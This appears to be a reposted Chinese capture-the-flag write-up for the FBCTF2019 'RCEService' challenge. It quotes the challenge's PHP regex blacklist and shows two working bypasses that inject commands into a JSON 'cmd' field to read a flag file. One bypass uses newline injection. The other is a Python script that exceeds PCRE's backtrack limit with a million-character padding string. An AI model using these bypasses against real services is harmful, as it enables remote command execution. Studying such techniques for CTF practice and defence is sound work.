[FBCTF2019]RCEService

2020-02-19 18:37:28 阅读：583 来源： 互联网

标签：pcre 文章 cmd RCEService 1000000 回溯 FBCTF2019 payload

[FBCTF2019]RCEService

在这里插入图片描述
传入json格式的cmd

{“cmd”:“ls”}

在这里插入图片描述
但是很多命令都不能用，源码过滤如下：

elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';

非预期：preg_match只能匹配第一行数据，所以用换行符换行：

{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}//路径是找出来的

在这里插入图片描述
预期：
其实是pcre回溯次数限制绕过，参考p牛文章：
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
大致意思是正则回溯最大只有1000000，如果回溯次数超过就会返回flase，构造1000000个a，使回溯超过限制就会绕过正则匹配，限制次数在php.ini的pcre.backtrack_limit有，而不造成这个漏洞的方法就是使用强比较===
文章写的很详细了
payload：

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://af72594c-dbfc-4ef9-baa3-0738dbb5fdb9.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

在这里插入图片描述

Phoe5e 发布了30 篇原创文章 · 获赞 1 · 访问量 1546 私信关注

标签：pcre,文章,cmd,RCEService,1000000,回溯,FBCTF2019,payload
来源： https://blog.csdn.net/chasingin/article/details/104398092

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

[FBCTF2019]RCEService

[FBCTF2019]RCEService